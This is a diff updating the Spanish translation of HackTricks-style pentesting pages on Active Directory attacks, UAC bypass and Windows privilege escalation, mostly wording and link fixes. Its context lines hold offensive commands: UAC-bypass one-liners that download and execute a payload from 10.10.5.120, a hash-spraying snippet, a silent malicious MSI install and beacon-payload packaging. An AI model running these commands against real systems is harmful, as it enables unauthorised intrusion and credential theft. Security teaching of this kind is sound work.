 - Podrías usar el [**CMD para realizar un reconocimiento básico**](../basic-cmd-for-pentesters.md#domain-info)
-- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/) que será más sigiloso
+- También puedes usar [**powershell para reconocimiento**](../basic-powershell-for-pentesters/index.html), que será más sigiloso
 - También puedes [**usar powerview**](../basic-powershell-for-pentesters/powerview.md) para extraer información más detallada
-- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc.
+- Otra herramienta increíble para reconocimiento en un directorio activo es [**BloodHound**](bloodhound.md). No es **muy sigiloso** (dependiendo de los métodos de recolección que uses), pero **si no te importa** eso, definitivamente deberías probarlo. Encuentra dónde los usuarios pueden RDP, encuentra rutas a otros grupos, etc.
 - **Otras herramientas automatizadas de enumeración de AD son:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**Registros DNS del AD**](ad-dns-records.md) ya que podrían contener información interesante.
 - Una **herramienta con GUI** que puedes usar para enumerar el directorio es **AdExplorer.exe** del **SysInternal** Suite.
@@ -191,7 +191,7 @@ Una vez que hayas obtenido algunas credenciales, podrías verificar si tienes ac
 
 Si has comprometido credenciales o una sesión como un usuario regular de dominio y tienes **acceso** con este usuario a **cualquier máquina en el dominio**, deberías intentar encontrar la manera de **escalar privilegios localmente y buscar credenciales**. Esto se debe a que solo con privilegios de administrador local podrás **volcar hashes de otros usuarios** en memoria (LSASS) y localmente (SAM).
 
-Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
+Hay una página completa en este libro sobre [**escalación de privilegios local en Windows**](../windows-local-privilege-escalation/index.html) y una [**lista de verificación**](../checklist-windows-privilege-escalation.md). Además, no olvides usar [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
 
 ### Tickets de sesión actuales
 
@@ -235,7 +235,7 @@ printnightmare.md
 
 ### Extracción de Hash
 
-Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/).\
+Con suerte, has logrado **comprometer alguna cuenta de administrador local** usando [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) incluyendo el relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalando privilegios localmente](../windows-local-privilege-escalation/index.html).\
 Luego, es hora de volcar todos los hashes en memoria y localmente.\
 [**Lee esta página sobre diferentes formas de obtener los hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
@@ -245,7 +245,7 @@ Luego, es hora de volcar todos los hashes en memoria y localmente.\
 Necesitas usar alguna **herramienta** que **realice** la **autenticación NTLM usando** ese **hash**, **o** podrías crear un nuevo **sessionlogon** e **inyectar** ese **hash** dentro de **LSASS**, para que cuando se realice cualquier **autenticación NTLM**, ese **hash será utilizado.** La última opción es lo que hace mimikatz.\
 [**Lee esta página para más información.**](../ntlm/index.html#pass-the-hash)
 
-### Over Pass the Hash/Pass the Key
+### Over Pass the Hash/Pasar la Clave
 
 Este ataque tiene como objetivo **usar el hash NTLM del usuario para solicitar tickets Kerberos**, como una alternativa al común Pass The Hash sobre el protocolo NTLM. Por lo tanto, esto podría ser especialmente **útil en redes donde el protocolo NTLM está deshabilitado** y solo se **permite Kerberos** como protocolo de autenticación.
 
@@ -263,7 +263,7 @@ pass-the-ticket.md
 
 ### Reutilización de Credenciales
 
-Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con él.
+Si tienes el **hash** o **contraseña** de un **administrador local**, deberías intentar **iniciar sesión localmente** en otras **PCs** con ello.
 ```bash
 # Local Auth Spray (once you found some local admin pass or hash)
 ## --local-auth flag indicate to only try 1 time per machine
@@ -435,11 +435,11 @@ ad-certificates/domain-persistence.md
 
 ### Grupo AdminSDHolder
 
-El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en su contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
+El objeto **AdminSDHolder** en Active Directory asegura la seguridad de los **grupos privilegiados** (como Administradores de Dominio y Administradores de Empresa) aplicando una **Lista de Control de Acceso (ACL)** estándar en estos grupos para prevenir cambios no autorizados. Sin embargo, esta característica puede ser explotada; si un atacante modifica la ACL de AdminSDHolder para otorgar acceso total a un usuario regular, ese usuario obtiene un control extenso sobre todos los grupos privilegiados. Esta medida de seguridad, destinada a proteger, puede por lo tanto volverse en contra, permitiendo un acceso no autorizado a menos que se supervise de cerca.
 
 [**Más información sobre el grupo AdminDSHolder aquí.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
-### Credenciales de DSRM
+### Credenciales DSRM
 
 Dentro de cada **Controlador de Dominio (DC)**, existe una cuenta de **administrador local**. Al obtener derechos de administrador en tal máquina, el hash del Administrador local puede ser extraído usando **mimikatz**. Después de esto, es necesaria una modificación del registro para **habilitar el uso de esta contraseña**, permitiendo el acceso remoto a la cuenta del Administrador local.
 
@@ -482,7 +482,7 @@ custom-ssp.md
 
 ### DCShadow
 
-Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos específicos **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\
+Registra un **nuevo Controlador de Dominio** en el AD y lo utiliza para **empujar atributos** (SIDHistory, SPNs...) en objetos especificados **sin** dejar ningún **registro** sobre las **modificaciones**. Necesitas privilegios de DA y estar dentro del **dominio raíz**.\
 Ten en cuenta que si usas datos incorrectos, aparecerán registros bastante feos.
 
 {{#ref}}
@@ -504,7 +504,7 @@ Microsoft ve el **Bosque** como el límite de seguridad. Esto implica que **comp
 
 ### Información básica
 
-Una [**confianza de dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen **claves** específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza.
+Una [**confianza de dominio**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) es un mecanismo de seguridad que permite a un usuario de un **dominio** acceder a recursos en otro **dominio**. Esencialmente, crea un vínculo entre los sistemas de autenticación de los dos dominios, permitiendo que las verificaciones de autenticación fluyan sin problemas. Cuando los dominios establecen una confianza, intercambian y retienen claves específicas dentro de sus **Controladores de Dominio (DCs)**, que son cruciales para la integridad de la confianza.
 
 En un escenario típico, si un usuario pretende acceder a un servicio en un **dominio confiable**, primero debe solicitar un ticket especial conocido como un **TGT inter-realm** de su propio DC de dominio. Este TGT está cifrado con una **clave** compartida que ambos dominios han acordado. El usuario luego presenta este TGT al **DC del dominio confiable** para obtener un ticket de servicio (**TGS**). Tras la validación exitosa del TGT inter-realm por parte del DC del dominio confiable, emite un TGS, otorgando al usuario acceso al servicio.
 
@@ -529,7 +529,7 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con
 - **Confianzas Padre-Hijo**: Esta es una configuración común dentro del mismo bosque, donde un dominio hijo tiene automáticamente una confianza transitoria bidireccional con su dominio padre. Esencialmente, esto significa que las solicitudes de autenticación pueden fluir sin problemas entre el padre y el hijo.
 - **Confianzas de enlace cruzado**: Conocidas como "confianzas de acceso directo", se establecen entre dominios hijos para acelerar los procesos de referencia. En bosques complejos, las referencias de autenticación generalmente tienen que viajar hasta la raíz del bosque y luego hacia abajo hasta el dominio objetivo. Al crear enlaces cruzados, el viaje se acorta, lo que es especialmente beneficioso en entornos geográficamente dispersos.
 - **Confianzas externas**: Estas se establecen entre diferentes dominios no relacionados y son no transitivas por naturaleza. Según [la documentación de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), las confianzas externas son útiles para acceder a recursos en un dominio fuera del bosque actual que no está conectado por una confianza de bosque. La seguridad se refuerza a través del filtrado de SID con confianzas externas.
-- **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y un nuevo árbol raíz agregado. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Confianzas de raíz de árbol**: Estas confianzas se establecen automáticamente entre el dominio raíz del bosque y una nueva raíz de árbol añadida. Aunque no se encuentran comúnmente, las confianzas de raíz de árbol son importantes para agregar nuevos árboles de dominio a un bosque, permitiéndoles mantener un nombre de dominio único y asegurando la transitividad bidireccional. Más información se puede encontrar en [la guía de Microsoft](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
 - **Confianzas de bosque**: Este tipo de confianza es una confianza transitoria bidireccional entre dos dominios raíz de bosque, también aplicando filtrado de SID para mejorar las medidas de seguridad.
 - **Confianzas MIT**: Estas confianzas se establecen con dominios Kerberos que cumplen con [RFC4120](https://tools.ietf.org/html/rfc4120) y que no son de Windows. Las confianzas MIT son un poco más especializadas y se adaptan a entornos que requieren integración con sistemas basados en Kerberos fuera del ecosistema de Windows.
 
@@ -541,15 +541,15 @@ Si el Dominio A confía en el Dominio B, A es el dominio confiador y B es el con
 ### Ruta de ataque
 
 1. **Enumerar** las relaciones de confianza
-2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez por entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza fue creada para esto probablemente).
+2. Verificar si algún **principal de seguridad** (usuario/grupo/computadora) tiene **acceso** a recursos del **otro dominio**, tal vez a través de entradas ACE o al estar en grupos del otro dominio. Busca **relaciones entre dominios** (la confianza se creó probablemente para esto).
 1. Kerberoast en este caso podría ser otra opción.
 3. **Comprometer** las **cuentas** que pueden **pivotar** entre dominios.
 
 Los atacantes podrían acceder a recursos en otro dominio a través de tres mecanismos principales:
 
-- **Membresía de grupo local**: Los principales podrían ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina.
-- **Membresía de grupo de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo.
-- **Listas de Control de Acceso (ACLs)**: Los principales podrían estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de las ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
+- **Membresía en grupos locales**: Los principales pueden ser añadidos a grupos locales en máquinas, como el grupo “Administradores” en un servidor, otorgándoles un control significativo sobre esa máquina.
+- **Membresía en grupos de dominio extranjero**: Los principales también pueden ser miembros de grupos dentro del dominio extranjero. Sin embargo, la efectividad de este método depende de la naturaleza de la confianza y el alcance del grupo.
+- **Listas de Control de Acceso (ACLs)**: Los principales pueden estar especificados en una **ACL**, particularmente como entidades en **ACEs** dentro de un **DACL**, proporcionándoles acceso a recursos específicos. Para aquellos que buscan profundizar en la mecánica de ACLs, DACLs y ACEs, el documento titulado “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” es un recurso invaluable.
 
 ### Escalación de privilegios de bosque de hijo a padre
 ```
@@ -582,7 +582,7 @@ sid-history-injection.md
 
 #### Explotar NC de Configuración escribible
 
-Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo.
+Entender cómo se puede explotar el Contexto de Nombres de Configuración (NC) es crucial. El NC de Configuración sirve como un repositorio central para datos de configuración en un bosque en entornos de Active Directory (AD). Estos datos se replican a cada Controlador de Dominio (DC) dentro del bosque, con DCs escribibles manteniendo una copia escribible del NC de Configuración. Para explotar esto, uno debe tener **privilegios de SYSTEM en un DC**, preferiblemente un DC hijo.
 
 **Vincular GPO al sitio raíz de DC**
 
@@ -598,9 +598,9 @@ Un análisis detallado se puede encontrar en la discusión sobre [Golden gMSA Tr
 
 **Ataque de cambio de esquema**
 
-Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre los nuevos objetos AD creados.
+Este método requiere paciencia, esperando la creación de nuevos objetos AD privilegiados. Con privilegios de SYSTEM, un atacante puede modificar el Esquema de AD para otorgar a cualquier usuario control total sobre todas las clases. Esto podría llevar a acceso no autorizado y control sobre objetos AD recién creados.
 
-Más lectura está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
+Lectura adicional está disponible sobre [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
 
 **De DA a EA con ADCS ESC5**
 
@@ -648,7 +648,7 @@ external-forest-domain-one-way-outbound.md
 Otra forma de comprometer el dominio confiado es encontrar un [**enlace SQL confiado**](abusing-ad-mssql.md#mssql-trusted-links) creado en la **dirección opuesta** de la confianza del dominio (lo cual no es muy común).
 
 Otra forma de comprometer el dominio confiado es esperar en una máquina donde un **usuario del dominio confiado pueda acceder** para iniciar sesión a través de **RDP**. Luego, el atacante podría inyectar código en el proceso de sesión RDP y **acceder al dominio de origen de la víctima** desde allí.\
-Además, si la **víctima montó su disco duro**, desde el proceso de **sesión RDP** el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.**
+Además, si la **víctima montó su disco duro**, desde el proceso de sesión **RDP**, el atacante podría almacenar **backdoors** en la **carpeta de inicio del disco duro**. Esta técnica se llama **RDPInception.**
 
 {{#ref}}
 rdp-sessions-abuse.md
@@ -664,7 +664,7 @@ rdp-sessions-abuse.md
 ### **Autenticación Selectiva:**
 
 - Para las confianzas inter-forestales, emplear la Autenticación Selectiva asegura que los usuarios de los dos bosques no sean autenticados automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía.
-- Es importante notar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza.
+- Es importante señalar que estas medidas no protegen contra la explotación del Contexto de Nombres de Configuración (NC) escribible o ataques a la cuenta de confianza.
 
 [**Más información sobre las confianzas de dominio en ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
 

src/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md

@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas para tener acceso a nivel de administrador al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
+[Control de Cuentas de Usuario (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) es una función que permite un **mensaje de consentimiento para actividades elevadas**. Las aplicaciones tienen diferentes niveles de `integridad`, y un programa con un **alto nivel** puede realizar tareas que **podrían comprometer potencialmente el sistema**. Cuando UAC está habilitado, las aplicaciones y tareas siempre **se ejecutan bajo el contexto de seguridad de una cuenta no administrativa** a menos que un administrador autorice explícitamente a estas aplicaciones/tareas a tener acceso de nivel administrativo al sistema para ejecutarse. Es una función de conveniencia que protege a los administradores de cambios no intencionados, pero no se considera un límite de seguridad.
 
 Para más información sobre los niveles de integridad:
 
@@ -33,7 +33,7 @@ Esta [página](https://docs.microsoft.com/en-us/windows/security/identity-protec
 
 Algunos programas son **autoelevados automáticamente** si el **usuario pertenece** al **grupo de administradores**. Estos binarios tienen dentro de sus _**Manifiestos**_ la opción _**autoElevate**_ con valor _**True**_. El binario también debe estar **firmado por Microsoft**.
 
-Luego, para **eludir** el **UAC** (elevar de **nivel de integridad medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**.
+Luego, para **eludir** el **UAC** (elevar de **nivel** de integridad **medio** a **alto**) algunos atacantes utilizan este tipo de binarios para **ejecutar código arbitrario** porque se ejecutará desde un **proceso de alta integridad**.
 
 Puedes **verificar** el _**Manifiesto**_ de un binario usando la herramienta _**sigcheck.exe**_ de Sysinternals. Y puedes **ver** el **nivel de integridad** de los procesos usando _Process Explorer_ o _Process Monitor_ (de Sysinternals).
 
@@ -71,8 +71,8 @@ Si **`0`**(predeterminado), la **cuenta de Administrador incorporado puede** rea
 #### Resumen
 
 - Si `EnableLUA=0` o **no existe**, **sin UAC para nadie**
-- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, Sin UAC para nadie**
-- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, Sin UAC para RID 500 (Administrador incorporado)**
+- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=1`, sin UAC para nadie**
+- Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=0`, sin UAC para RID 500 (Administrador incorporado)**
 - Si `EnableLua=1` y **`LocalAccountTokenFilterPolicy=0` y `FilterAdministratorToken=1`, UAC para todos**
 
 Toda esta información se puede recopilar utilizando el módulo **metasploit**: `post/windows/gather/win_privs`
@@ -85,15 +85,15 @@ whoami /groups | findstr Level
 ## Bypass de UAC
 
 > [!NOTE]
-> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es sencillo, ya que simplemente puede hacer clic en "Sí" cuando aparezca el aviso de UAC.
+> Tenga en cuenta que si tiene acceso gráfico a la víctima, el bypass de UAC es directo, ya que simplemente puede hacer clic en "Sí" cuando aparece el aviso de UAC.
 
 El bypass de UAC es necesario en la siguiente situación: **el UAC está activado, su proceso se está ejecutando en un contexto de integridad media y su usuario pertenece al grupo de administradores**.
 
 Es importante mencionar que es **mucho más difícil eludir el UAC si está en el nivel de seguridad más alto (Siempre) que si está en cualquiera de los otros niveles (Predeterminado).**
 
-### UAC desactivado
+### UAC deshabilitado
 
-Si el UAC ya está desactivado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como:
+Si el UAC ya está deshabilitado (`ConsentPromptBehaviorAdmin` es **`0`**) puede **ejecutar un shell inverso con privilegios de administrador** (nivel de integridad alto) utilizando algo como:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -131,16 +131,16 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
 # Bypass UAC with CMSTPLUA COM interface
 runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
 ```
-**Empire** y **Metasploit** también tienen varios módulos para **eludir** el **UAC**.
+**Empire** y **Metasploit** también tienen varios módulos para **bypassear** el **UAC**.
 
 ### KRBUACBypass
 
 Documentación y herramienta en [https://github.com/wh0amitz/KRBUACBypass](https://github.com/wh0amitz/KRBUACBypass)
 
-### Explotaciones de elusión de UAC
+### Explotaciones de bypass de UAC
 
-[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varias explotaciones de elusión de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\
-Debes **tener cuidado** porque algunas elusiones **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo.
+[**UACME** ](https://github.com/hfiref0x/UACME) que es una **compilación** de varias explotaciones de bypass de UAC. Ten en cuenta que necesitarás **compilar UACME usando visual studio o msbuild**. La compilación creará varios ejecutables (como `Source\Akagi\outout\x64\Debug\Akagi.exe`), necesitarás saber **cuál necesitas.**\
+Debes **tener cuidado** porque algunos bypasses **solicitarán algunos otros programas** que **alertarán** al **usuario** que algo está sucediendo.
 
 UACME tiene la **versión de compilación desde la cual cada técnica comenzó a funcionar**. Puedes buscar una técnica que afecte tus versiones:
 ```
@@ -150,7 +150,7 @@ Major  Minor  Build  Revision
 -----  -----  -----  --------
 10     0      14393  0
 ```
-También, usando [this](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación.
+También, usando [esta](https://en.wikipedia.org/wiki/Windows_10_version_history) página obtienes la versión de Windows `1607` de las versiones de compilación.
 
 #### Más bypass de UAC
 
@@ -174,10 +174,10 @@ Si no te importa ser ruidoso, siempre podrías **ejecutar algo como** [**https:/
 
 ### Tu propio bypass - Metodología básica de bypass de UAC
 
-Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo el dll malicioso en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/).
+Si echas un vistazo a **UACME** notarás que **la mayoría de los bypass de UAC abusan de una vulnerabilidad de Dll Hijacking** (principalmente escribiendo el dll malicioso en _C:\Windows\System32_). [Lee esto para aprender cómo encontrar una vulnerabilidad de Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
 1. Encuentra un binario que **autoelevate** (verifica que cuando se ejecuta, se ejecute en un nivel de integridad alto).
-2. Con procmon encuentra eventos "**NAME NOT FOUND**" que pueden ser vulnerables a **DLL Hijacking**.
+2. Con procmon encuentra eventos "**NOMBRE NO ENCONTRADO**" que puedan ser vulnerables a **DLL Hijacking**.
 3. Probablemente necesitarás **escribir** el DLL dentro de algunas **rutas protegidas** (como C:\Windows\System32) donde no tienes permisos de escritura. Puedes eludir esto usando:
    1. **wusa.exe**: Windows 7, 8 y 8.1. Permite extraer el contenido de un archivo CAB dentro de rutas protegidas (porque esta herramienta se ejecuta desde un nivel de integridad alto).
    2. **IFileOperation**: Windows 10.

src/windows-hardening/windows-local-privilege-escalation/README.md

@@ -114,7 +114,7 @@ Stop-Transcript
 
 Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados.
 
-Para habilitar esto, sigue las instrucciones en la sección "Archivos de transcripción" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**.
+Para habilitar esto, sigue las instrucciones en la sección "Transcript files" de la documentación, eligiendo **"Module Logging"** en lugar de **"Powershell Transcription"**.
 ```bash
 reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
 reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@@ -182,11 +182,11 @@ Básicamente, este es el defecto que explota este error:
 >
 > Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también utilizará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y añadimos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza-en-el-primer-uso en el certificado. Si el certificado presentado es confiable por el usuario y tiene el nombre de host correcto, será aceptado por el servicio.
 
-Puedes explotar esta vulnerabilidad usando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
+Puedes explotar esta vulnerabilidad utilizando la herramienta [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (una vez que esté liberada).
 
 ## KrbRelayUp
 
-Una vulnerabilidad de **escalada de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
+Una **vulnerabilidad de escalación de privilegios local** existe en entornos **de dominio** de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde **la firma LDAP no se aplica,** los usuarios poseen derechos propios que les permiten configurar **Delegación Constrainida Basada en Recursos (RBCD),** y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos **requisitos** se cumplen utilizando **configuraciones predeterminadas**.
 
 Encuentra el **exploit en** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
 
@@ -241,11 +241,11 @@ create-msi-with-wix.md
 - Haz doble clic en **Carpeta de Aplicación**, selecciona tu archivo **beacon.exe** y haz clic en **Aceptar**. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador.
 - En las **Propiedades de Acción Personalizada**, cambia **Run64Bit** a **True**.
 - Finalmente, **compílalo**.
-- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de establecer la plataforma en x64.
+- Si aparece la advertencia `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, asegúrate de haber configurado la plataforma a x64.
 
 ### Instalación de MSI
 
-Para ejecutar la **instalación** del archivo `.msi` malicioso en **segundo plano:**
+Para ejecutar la **instalación** del archivo malicioso `.msi` en **segundo plano:**
 ```
 msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
 ```
@@ -296,7 +296,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
 ### Credenciales en Caché
 
 **Las credenciales de dominio** son autenticadas por la **Autoridad de Seguridad Local** (LSA) y utilizadas por los componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, las credenciales de dominio para el usuario se establecen típicamente.\
-[**Más información sobre Credenciales en Caché aquí**](../stealing-credentials/credentials-protections.md#cached-credentials).
+[**Más información sobre las Credenciales en Caché aquí**](../stealing-credentials/credentials-protections.md#cached-credentials).
 ```bash
 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
 ```
@@ -359,7 +359,7 @@ powershell -command "Get-Clipboard"
 ### Permisos de Archivos y Carpetas
 
 Primero que nada, listar los procesos **verifica si hay contraseñas dentro de la línea de comando del proceso**.\
-Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/):
+Verifica si puedes **sobrescribir algún binario en ejecución** o si tienes permisos de escritura en la carpeta del binario para explotar posibles [**ataques de DLL Hijacking**](dll-hijacking/index.html):
 ```bash
 Tasklist /SVC #List processes running and services
 tasklist /v /fi "username eq system" #Filter "system" processes
@@ -381,7 +381,7 @@ icacls "%%z"
 )
 )
 ```
-**Verificando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/)**)**
+**Comprobando los permisos de las carpetas de los binarios de los procesos (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
 ```bash
 for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
 "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@@ -443,7 +443,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
 ```
